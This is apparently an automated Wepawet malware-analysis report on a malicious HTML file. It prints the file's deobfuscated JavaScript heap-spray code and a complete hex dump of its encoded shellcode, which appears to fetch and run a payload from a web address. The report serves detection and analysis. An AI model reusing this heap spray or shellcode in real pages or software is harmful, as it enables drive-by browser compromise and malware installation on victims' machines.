Wepawet (alpha)

Analysis report for ccc[1].ht_

Sample Overview

Detection results

Warning:

• When analyzing a file (rather than a URL), Jsand does not examine external resources, such as iframes and scripts. In addition, properties such as document.location, document.referer, and document.cookie, which are sometimes used by malicious scripts, are not set.

This may affect the detection of malicious code.

Exploits

Deobfuscation results

Evals

• var n = unescape("%u0c0d%u0c0d");while (n.length <= 524288)n += n;n = n.substring(0, 524269 - sc.length);var x = new Array();for (var i = 0; i < 200; i ++ ){  x[i] = n + sc;}

  (repeated 1 time)

Writes

• (repeated 1 time)

Network Activity

Requests

ActiveX controls

Shellcode and Malware

90 90 eb 19 5b 4b 90 33  c9 90 80 7b 01 e9 75 01 c3 66 b9 7b 04 80 34 0b  d8 e2 fa eb 05 e8 e2 ff ff ff 31 39 db d8 d8 87  bc 79 e8 d8 d8 d8 53 98 d4 53 a8 c4 75 53 b0 d0  53 2f b2 d7 81 30 59 db d8 d8 48 3a 20 b0 eb ea  d8 d8 b0 8d ab bd aa 8c 53 9e d4 30 37 da d8 d8  53 30 b2 d9 81 30 b9 db d8 d8 3a 21 b0 b7 b6 d8  d8 b0 ad aa b4 b5 8c 53 9e d4 30 08 da d8 d8 53  30 b2 d9 81 30 9a db d8 d8 3a 21 b0 b4 eb ea d8  b0 ab b0 bd b4 8c 53 9e d4 30 69 da d8 d8 53 30  b2 d9 81 30 fb db d8 d8 3a 21 59 34 d8 d9 d8 d8  53 04 59 1b 58 d8 d8 d8 b2 d8 b2 c2 8b b2 d8 27  8e 9c eb 18 98 58 e4 db d8 ad 21 51 5e 48 d8 d8  d8 1f dc db 84 b9 f6 bd 1f 9c db dc a0 bd d8 d8  eb 11 89 89 8b 8f 89 eb 18 53 9e 98 30 86 da d8  d8 5b 20 d8 d7 5d a7 d9 d8 d8 b2 d8 b2 d8 b2 db  b2 d8 b2 da b0 d8 d8 d8 18 8b 53 9e fc 30 e5 da  d8 d8 5b 20 27 d7 5c 86 d9 d8 d8 51 9e b8 b2 d8  88 27 8e f0 51 9e bc 53 5e 48 d8 d8 d8 1f dc db  84 ba f6 bd 1f 9c db dc a0 bd d8 d8 b2 d8 b2 d8  b2 da b2 d8 b2 d8 b0 d8 d8 d8 98 8b 53 9e fc 30  23 d9 d8 d8 5b 20 27 d7 5c c4 d9 d8 d8 51 5e 5c  d8 d8 d8 51 46 54 d8 d8 d8 53 9e b8 b2 d8 b2 d8  b2 d8 53 9e b8 88 27 8e e0 1f 9e a8 d8 d8 d8 d8  1f 9e ac d8 d8 d8 d8 59 1f d8 da d8 d8 eb 03 53  86 bc b2 d8 55 9e a8 88 b0 d8 dc d8 d8 8f 27 ae  b8 27 8e dc eb 11 61 d8 dc d8 d8 58 a4 d7 27 4d  ac d4 58 a4 d7 27 d8 ac dd 58 ac d7 27 4d 3a 33  53 1b f5 d8 dc d8 d8 5b 20 d8 a7 db 51 86 a8 b2  d8 55 9e ac 88 27 ae a8 8f 27 6e 5c d8 d8 d8 27  8e e8 59 33 d8 dc d8 d8 5b 23 d8 a7 7d 27 ae b8  27 8e ec 27 6e 5c d8 d8 d8 27 8e ec 53 5e 48 d8  d8 d8 53 46 54 d8 d8 d8 1f dc db 84 b9 f6 bd 8b  27 8e f4 53 66 54 d8 d8 d8 53 5e 48 d8 d8 d8 1f  dc df 84 ba f6 bd 59 34 d8 d9 d8 d8 53 04 b0 d8  d9 d8 d8 8b b0 d8 d9 d8 d8 8f b2 d8 b2 d8 27 8e  c4 53 23 eb 18 eb 03 59 34 d8 da d8 d8 53 14 5b  20 8c a5 d0 51 c4 d9 5b 18 dc 33 2b 53 14 53 01  5b 1b c8 eb 18 88 89 8b 88 88 88 88 88 88 8f 88  88 53 9e d0 30 2f d8 d8 d8 53 a6 e4 30 ec d9 d8  d8 30 ef d8 d8 d8 b0 bb ae af d8 b0 ab b0 bc b7  8c 53 9e d4 30 6e d8 d8 d8 51 9e e4 bc 79 dc d8  d8 d8 55 78 b8 27 27 27 b2 bd 27 ae e4 53 9e c8  30 42 d8 d8 d8 eb 03 8b 8b 8b 8b 27 08 30 3d d8  d8 d8 59 34 d8 d9 d8 d8 53 24 5b 1f dc 1f df ea  ac 49 d4 1f 9f dc bb 51 09 97 1f 9f d0 78 bd 4f  13 1f 9f d4 89 98 62 a7 1f 9f c8 e6 c5 6e e1 1f  9f cc 60 b1 0c c3 1f 9f c0 66 a7 be 78 1f 9f c4  24 71 ef 75 1f 9f f8 40 d2 c8 20 bc 79 e8 d8 d8  d8 53 98 d4 53 a8 c4 75 53 b0 d0 53 2f 51 8e bc  b2 dc 81 30 7b d8 d8 d8 48 3a 20 b0 eb ea d8 d8  b0 8d ab bd aa 8c 53 de 30 ca d8 d8 d8 53 30 b2  dd 81 30 5c d8 d8 d8 3a 21 eb 27 8f 27 8e dc 58  e0 30 58 e0 31 ad c9 59 a0 dd 48 48 48 48 ac d0  53 27 8d 53 34 55 98 dd 27 38 30 e0 d8 d8 d8 1b  58 e0 30 58 e0 31 ad c9 59 a0 dd 48 48 48 48 ac  3f b0 d0 d2 d8 d8 55 98 dd 27 38 30 cf d8 d8 d8  1b 30 c9 d8 d8 d8 60 c9 d9 dc 58 1a d4 d8 33 da  80 1b 30 21 27 27 27 83 1e df 60 51 87 d9 be 1f  9f dd 27 38 1b 8b 53 04 8b b2 98 b0 d8 c8 d8 d8  8f 53 9e f8 30 5e 27 27 27 80 1b 89 8e 53 ad e4  53 ac f6 a0 db 2d 8e 53 ae f8 db 2d eb 11 91 99  75 db 1d eb 03 d7 66 c8 e2 0e ac d0 19 13 df db  02 98 33 29 e3 c7 ad 3f 86 53 86 fc db 05 be 53  d4 93 53 86 c4 db 05 53 dc 53 db 1d 73 86 81 1b  30 c2 24 27 27 6a 2a 3a 2c 6a ee d7 cb 28 90 a3  e5 ea ac 49 d4 5d 07 77 63 bb 51 09 97 89 98 62  a7 df 4a fa a8 c6 7c bc 37 4b ea 3c 4c 56 cb d2  74 a1 e1 3e 40 1c 55 c7 ac 8f be d5 27 9b 66 74  03 40 d2 c8 20 58 0e 77 42 23 8b cd be b0 ac ac  a8 e2 f7 f7 bc bd b5 b7 e9 f6 be ac a8 b9 bb bb  bd ab ab f6 bb bb f7 bc bd b5 b7 f7 b9 bc f6 b2  a8 bf d8 00 

....[K.3...{..u..f.{..4...........19.....y....S..S..uS..S/...0Y...H: ...........S..07...S0...0....:!...........S..0....S0...0....:!...........S..0i...S0...0....:!Y4....S.Y.X..........'.....X....!Q^H...........................S..0....[ ..]....................S..0....[ '.\....Q.....'..Q..S^H..................................S..0#...[ '.\....Q^\...QFT...S........S...'................Y.......S....U.........'..'....a....X..'M..X..'...X..'M:3S......[ ...Q....U...'...'n\...'..Y3....[#..}'..'..'n\...'..S^H...SFT...........'..SfT...S^H..........Y4....S.................'..S#....Y4....S.[ ...Q..[..3+S.S.[................S..0/...S..0....0...............S..0n...Q...y....Ux.'''..'..S..0B.........'.0=...Y4....S$[......I.....Q.....x.O......b......n....`......f..x...$q.u...@.. .y....S..S..uS..S/Q.....0{...H: ...........S.0....S0...0\...:!.'.'..X.0X.1..Y..HHHH..S'.S4U..'80.....X.0X.1..Y..HHHH.?.....U..'80.....0....`...X...3...0!'''...`Q......'8..S..........S..0^'''....S..S....-.S...-....u.....f...........3)...?.S.....S..S....S.S..s...0.$''j*:,j...(.....I.].wc.Q....b..J...|.7K.@.U.....'.ft.@.. X.wB#..........................................

Additional (potential) malware: